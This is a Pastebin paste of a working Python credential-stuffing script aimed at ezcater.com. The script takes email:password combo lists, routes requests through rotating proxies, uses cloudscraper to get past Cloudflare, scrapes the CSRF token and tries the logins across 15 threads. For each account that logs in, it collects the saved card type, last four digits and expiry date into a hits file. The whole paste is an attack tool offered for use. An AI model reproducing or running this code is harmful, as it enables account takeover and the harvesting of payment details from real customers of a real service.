Guest User

Untitled

a guest
May 26th, 2023
386
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.39 KB | None | 0 0
  1. import cloudscraper
  2. import os, re
  3. from concurrent.futures import ThreadPoolExecutor
  4.  
  5. def login_account(account):
  6.  
  7. # Parse email, password and set proxy (rotating resi)
  8. try:
  9. email, password = account.split(":")
  10. except ValueError:
  11. print(f"Error parsing {account}")
  12. return
  13.  
  14. os.environ['HTTP_PROXY'] = 'http://username:password@proxy:port/'
  15. os.environ['HTTPS_PROXY'] = 'http://username:password@proxy:port/'
  16.  
  17. # initialize the scraper, this is what bypasses cloudflare
  18. scraper = cloudscraper.create_scraper()
  19.  
  20. # send get request to parse csrf token with regex
  21. url = "https://www.ezcater.com/sign_in"
  22. r = scraper.get(url)
  23. cookies = r.cookies
  24. pattern = r'name="csrf-token" content="(.+?)"'
  25. match = re.search(pattern, r.text)
  26. if match:
  27. token = match.group(1)
  28. else:
  29. print("Token value not found.")
  30. return
  31.  
  32. # send post request with our data, csrf token, and cookies, and headers
  33. url_2 = "https://www.ezcater.com/sign_ins"
  34. payload = f"utf8=%E2%9C%93&authenticity_token={token}&user%5Bemail%5D={email}&user%5Bpassword%5D={password}"
  35. headers = {
  36. "Authority": "www.ezcater.com",
  37. "Method": "POST",
  38. "Path": "/sign_ins",
  39. "Scheme": "https",
  40. "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
  41. "Accept-Encoding": "gzip, deflate, br",
  42. "Accept-Language": "en-US,en;q=0.9",
  43. "Cache-Control": "max-age=0",
  44. "Content-Type": "application/x-www-form-urlencoded",
  45. "Origin": "https://www.ezcater.com",
  46. "Referer": "https://www.ezcater.com/sign_in",
  47. "Sec-Fetch-Dest": "document",
  48. "Sec-Fetch-Mode": "navigate",
  49. "Sec-Fetch-Site": "same-origin",
  50. "Sec-Fetch-User": "?1",
  51. "Upgrade-Insecure-Requests": "1",
  52. "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.42"
  53. }
  54. r_2 = scraper.post(url_2, data=payload, cookies=cookies, headers=headers)
  55.  
  56. # check the status of out post request
  57. if r_2.status_code == 200:
  58. if "Incorrect email or password" in r_2.text:
  59. print("Fail")
  60.  
  61. else:
  62. print(f"Success {account}")
  63.  
  64. # if success, gather payment details
  65. url_3 = 'https://ezcater.com/my-account/payment-methods'
  66. cookies2 = r_2.cookies
  67. r_3 = scraper.get(url_3, cookies=cookies2)
  68. response_text = r_3.text
  69.  
  70. # regex to match payment methods and format them
  71. payment_entry_pattern = r'"CreditCard:(.*?)"__typename":"PaymentMethodEdge"'
  72. card_type_pattern = r'"cardType":"(.*?)"'
  73. last_4_pattern = r'"last4":"(.*?)"'
  74. exp_month_pattern = r'"expMonth":(\d+)'
  75. exp_year_pattern = r'"expYear":(\d+)'
  76. payment_entries = re.findall(payment_entry_pattern, response_text, re.DOTALL)
  77. payment_methods = []
  78. for entry in payment_entries:
  79. card_type_match = re.search(card_type_pattern, entry)
  80. card_type = card_type_match.group(1)
  81. last_4_match = re.search(last_4_pattern, entry)
  82. last_4 = last_4_match.group(1)
  83. exp_month_match = re.search(exp_month_pattern, entry)
  84. exp_month = exp_month_match.group(1)
  85. exp_year_match = re.search(exp_year_pattern, entry)
  86. exp_year = exp_year_match.group(1)
  87. payment_info = f"{card_type} {last_4} {exp_month}/{exp_year}"
  88. if payment_info not in payment_methods:
  89. payment_methods.append(payment_info)
  90.  
  91. # write the hit with formatted payment to his file
  92. with open("hits.txt", "a") as hits:
  93. hits.write(f'{account} | Payment(s) = {payment_methods} \n')
  94.  
  95. else:
  96. print(r_2.status_code)
  97.  
  98.  
  99.  
  100. # open accounts.txt containg lines of combos
  101. with open("accounts.txt") as file:
  102. accounts = file.read().splitlines()
  103.  
  104. # submit each account into the threadpool, can adjust max workers to your liking
  105. with ThreadPoolExecutor(max_workers=15) as executor:
  106. for account in accounts:
  107. executor.submit(login_account, account)
Advertisement
Add Comment
Please, Sign In to add comment